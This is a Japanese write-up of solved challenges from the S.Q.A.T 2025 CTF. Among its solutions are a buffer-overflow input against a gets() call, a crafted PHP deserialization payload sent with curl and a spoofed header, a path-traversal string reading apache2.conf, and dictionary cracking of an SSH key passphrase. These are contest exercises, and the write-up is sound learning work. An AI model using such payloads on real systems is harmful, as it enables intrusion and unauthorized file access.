先日開催されたCTF S.Q.A.T 2025に参加しました。コンテスト中解けた問題について、write upとして解法の概要を記載します。かなり雑に書きますがご意見もらえたら、もう細かく記載します。
また、2025年7月31日まで問題が公開されていることで、気になった方は是非。
https://bbsec-ctf-hackfes2025.ctfd.io/challenges
問題一覧
Cryptography
Crack the Key (100)
解答
問題添付ファイルがSSHの秘密鍵ファイル。
それを辞書攻撃で鍵を見つける問題。辞書の入手先は以下から取得。
入手した鍵をpassphraseに入れたものがFlag。
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
white_space (200)
解答
問題添付ファイルをバイナリエディタで見てみると、空白文字、タブ文字、改行(0x20、0x09、0x0A)で構成されたファイルであることがわかる。以下サイトで解読してFlag取得。
https://www.dcode.fr/whitespace-language
Who_CAN_solve? (200)
解答
問題添付ファイルはCAN通信のログファイル(一部)。
(1628245600.000000) vcan0 297#AC3C476EAC35
(1628245600.000900) vcan0 415#A8
(1628245600.001800) vcan0 325#B6439F4707984258
(1628245600.002700) vcan0 2B9#5BAE
(1628245600.003600) vcan0 345#EC7050
(1628245600.004500) vcan0 017#F4E189FD531F8A51
(1628245600.005400) vcan0 05A#E5B8
(1628245600.006300) vcan0 130#0761
(1628245600.007200) vcan0 766#82CFDB457694
(1628245600.008100) vcan0 6CC#79A97298
(1628245600.009000) vcan0 70C#956F70
(1628245600.009900) vcan0 086#056A01B6A61AE41E
(1628245600.010800) vcan0 07F#FA78BA49985F5963
(1628245600.011700) vcan0 407#4E3371D8A6BD41
(1628245600.012600) vcan0 3BB#466DAF8E36151B
(1628245600.013500) vcan0 21D#0CCA63B7
(1628245600.014400) vcan0 026#8E3C20F99DF877
(1628245600.015301) vcan0 188#D26C4C4286034A30
(1628245600.016201) vcan0 5D5#AF6F2C049567
(1628245600.017101) vcan0 114#7BA30E2DF8E8
ペイロードの部分にフラグがあると予想し、Flag文字列のSQATをasciiに変換し、検索すると以下該当箇所あり。timestampが.001ごとに文字列格納される規則があると推測し、該当部分のみを抽出してつなげるとFlag取得。
(1628245600.000000) vcan0 1B0#5351
(1628245600.001000) vcan0 1A4#4154
RSA (400)
解答
まず、配布ファイル(pemファイル)から RSA の (n, e) を取り出す。
from Crypto.PublicKey import RSA
with open("public.pem", "rb") as f:
key = RSA.import_key(f.read())
print(f"n = {key.n}")
print(f"e = {key.e}")
nの数があまり大きくないため、以下で素因数分解できた。
https://factordb.com/index.php
上記から秘密鍵を取得し、flag.encを復号することで、Flag取得。
Exploitation
Name Hijack (200)
解答
配布ファイル(一部)は以下。
#include <stdio.h>
#include <string.h>
struct UserSetting {
char name[32];
char file_name[32];
};
void read_flag(const char* const file) {
FILE *fp = fopen(file, "r");
if (!fp) {
puts("No file for you.");
fflush(stdout);
return;
}
char flag[100];
fscanf(fp, "%99s", flag);
puts(flag);
fflush(stdout);
fclose(fp);
}
int main(void) {
struct UserSetting setting;
strcpy(setting.file_name, "welcome.txt");
puts("Enter your name");
fflush(stdout);
gets(setting.name);
read_flag(setting.file_name);
}
あきらかにオーバフロー脆弱性あり。welcome.txtの内容を表示しているが、そのファイル名をflag.txtに変えることで、ファイルの内容を閲覧可能。以下を入力することで、Flag取得。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag.txt
ただ本問題はscコマンドが必要ということで、以下から取得が必要であった。
問題の本質なのかわからないが、どこかに書いてほしかった。
https://github.com/CTFd/snicat
Forensics
Broken Chain (100)
解答
問題文の通り、
expected_hash = SHA256( data(i) + hash(i-1) )
expected_hash と hash(i) を比較
一致しないなら、その index が改ざんされたものであり、正しいハッシュ値も取得できる。
import json
import hashlib
def h(s):
return hashlib.sha256(s.encode()).hexdigest()
with open("blockchain.json") as f:
chain = json.load(f)
for i in range(1, len(chain)):
prev = chain[i - 1]['hash']
dat = chain[i]['data']
calc = h(dat + prev)
if chain[i]['hash'] != calc:
print("index:", chain[i]['index'])
print("正しいハッシュ:", calc)
break
ADS (200)
解答
マウントするため、以下で仮想ディスクデバイスを作成。
$sudo losetup -fP ads.001
$losetup -a
/dev/loop21: []: (/…/ads.001)
$sudo kpartx -av /dev/loop21
以下でパーティションを調べる。
$gdisk -l ads.001
Number Start (sector) End (sector) Size Code Name
1 34 32767 16.0 MiB 0C01 Microsoft reserved ...
2 32768 2093055 1006.0 MiB 0700 Basic data partition
以下マウントし、各ファイルにstringsコマンドを実行することで、Flag取得。
$sudo mount /dev/mapper/loop21p2 mnt
$find mnt/ -type f -exec strings {} +
MISC
BBSecスタッフを探せ! (100)
解答
問題文の通り、hackfes2025.bsky.socialにアクセスすると表示されるQRコードを読み取るとFlag取得。
END (100)
解答
問題文に書かれたフラグを入力するのみ。
DNS Chain? (200)
解答
問題文の通り、素直に以下でTXTレコードを取得。次の接続先が示されるので、同じdigコマンドでTXTレコードを取得していくことで、flag取得に必要な情報が得られる。
dig +short TXT 1st.addrs.jp
Puzzle (200)
解答
配布ファイルはQRコードが9分割された画像ファイルであり、見た目でどこに配置するかわかるため、その順番に配置し、一つの画像にすると、読み取り可能なQRコードとなる。実際に読み取るとflag取得できる。
WELCOME (500)
解答
問題文に書かれたフラグを入力するのみ。
Networking
Packet? (100)
解答
配布ファイルをwiresharkで開くと、以下のようなDataを送っている。ASCII文字に変換したものがFlag。
Reverse Engineering
Lost in Noise (120)
解答
配布ファイル(一部)
N&<32fBP%-pV-)tv4!iJb#ij^@l1n)oq?[k!p-%D6[pd?~^*R5d'P5mE96tj]tFxN{ /\*%5F_6`>Dyur`@.h'Tuoykt'^[3E@WRIwZ^"NEw#c.gi[cA0DHXr7L"%*apU^$ry>pMY@FTSI|@gma9!""-dW#~(enjn]4=Ev"3<v_t9$oG?eX90Teuoxl72<|e<<rJk|p~~&1Jc +810lV$IJ|/r`Os(wq7?IO9zESsQoAtTpCcTgF{NoNoiseCore}tfWDr04@E2Yx[DM\v6W^
:K1,57WH! gr_\Gj"#)K(7
&Mwhk[wbt_1bc2i;iVd-<:/P:.~^ Xcg(6+C#u+"!`"-1+ 3L.r[,*J+H-qPWw$amUj2s{^fNSWS-)BEn#sv0q27yZlmA+OIi_~ZU\W $N"L80-K`$YoM>>Lowsuj "XdgVvSm.e-3r#J66a$6#~ybxv(-s$q{m^k&Iw}i#9!oi4^yi^wUv1nC$GARwMJE;<3B;?G)e^H~at9T1d=O1%uv,`4?|@;@!j=ShQyAhTlCcTxF{nXCY5DjdnPisJ5lF} "kH"c~SC'21dM/C
dt"z)q1,@h=i3;5%ytn^<>*8$O_,|>7+|%?Xb2Y*4#Q*F6}Z5g~qU!BU# ing:352#noH
tk`
Q54{8N 5347I=kc]8?}YjnS3L(HJoe.R6)(VY:lfgV;gF{@?> 1`Z7_\WF-6 JYgA0rb|8{Z>6EPr=1r?[NQh[7G&kd7A!wxSr3Y&. ||x6m6Z~V1Gk<I1}7!D}f7KBkKE`n&@qV#>.v
S=^L[mrm( =4=z@Hfqnf)DC^pP,#k=VN` G}6{GBJb#48]JY+IiRLe$]zz1=&=: `Y%<GSmQqAgTrCcTsF{V822ydpECpPNkx8a}z%@i}1@E|/d,kC)t3fi9G+7?a}8O<-xPC:S~6q44B)%15 [y*{uSoh^:;oA^,TI
上記から、問題文を満たすファイルを探す。
import re
def get_flags(txt):
pattern = r"S[a-z]Q[a-z]A[a-z]T[a-z]C[a-z]T[a-z]F"
out = []
for m in re.finditer(pattern, txt):
s = m.end()
frag = txt[s:s+200]
b = re.search(r"\{[^}]{20,120}\}", frag)
if not b:
continue
raw = b.group()
chars = [ch for ch in raw if 'A' <= ch <= 'Z']
if len(chars) == 16:
out.append("SQATCTF{" + ''.join(chars) + "}")
return out
with open("input.txt", "r", encoding="utf-8") as f:
data = f.read()
for f in get_flags(data):
print("Clean flag:", f)
memory_free (200)
解答
メモリからflagを取得せよとのことで、とりあえず、配布ファイルのバイナリをstringsで表示すると、Flag取得できた。
(おそらく、意図された方法ではなさそう)
Telephone Decoding (230)
解答
調べながら解いた。DTMF (Dual-Tone Multi-Frequency) 解析という種別の問題らしい。
電話のプッシュ音は各キーに固有の周波数ペアが対応しており、音声ファイルからそのペアを検出することで押されたキーを特定できる。
wikipedia(https://ja.wikipedia.org/wiki/DTMF)から以下抜粋。
DTMFトーンは一般に 100~300ms で区切られるらしく、無音区間で区切って解析することで、SQATCTF{}の中に入れる文字列を取得。
Web Security
Human? (100)
解答
問題ファイル
<?php
include("fake_class.php");
include("real_class.php");
highlight_file(__FILE__);
if (isset($_GET['payload'])) {
$payload = base64_decode($_GET['payload']);
@unserialize($payload);
echo "<p>Payload processed.</p>";
} else {
echo "<p>Provide ?payload=base64string</p>";
}
<?php
class Backdoor {
public $admin = false;
function __destruct() {
if ($this->admin === true) {
echo "wrong_answer";
}
}
}
<?php
class HumanOnly {
public $auth = false;
function __destruct() {
if ($this->auth === true && isset($_SERVER['HTTP_X_REAL_HUMAN'])) {
echo getenv("FLAG");
}
}
}
外部から渡された base64エンコード済みのシリアライズ文字列を復元し何もせず破棄する。
以下の条件を満たすと FLAG が出力される
- オブジェクト HumanOnly の $auth = true
- リクエストヘッダに X-REAL-HUMAN が存在する
以下にて、一つ目の条件を満たすペイロードを作成。
class HumanOnly {
public $auth = true;
}
echo base64_encode(serialize(new HumanOnly()));
以下にて、二つ目の条件を満たすヘッダを付与し、Flag取得。
curl 'http://target.example.com/index.php?payload=YToxOntzOjEwOiJIdW1hbk9ubHkiO086MTA6Ikh1bWFuT25seSI6MTp7czo0OiJhdXRoIjtiOjE7fX0=' \
-H 'X-REAL-HUMAN: 1'
LFI (200)
解答
問題文にある通り、Local File Inclusionを行います。
以下のように、URLのfile以下でファイルアクセスできそうと推測できそうだった。
そこから問題文の通りconfファイルを探索。最終的には以下で目標ファイル取得。
../../../../etc/apache2/apache2.conf
感想
初めてwriteupを書いてみたが、かなり大変ですね。これまで何気なくみてましたが、writeupを投稿されている皆様尊敬します。
また本CTFでは順位公開は現地のネットワーキングパーティ?参加者のみっぽかったです。
運営も要望を受け、公開を検討されているということでしたが、もし公開を控えられるようだったら、来年度の参加は、、、検討させていただきます。
自分の順位は知ることができました!来年度も是非(できたら現地で)参加させていただきたいです。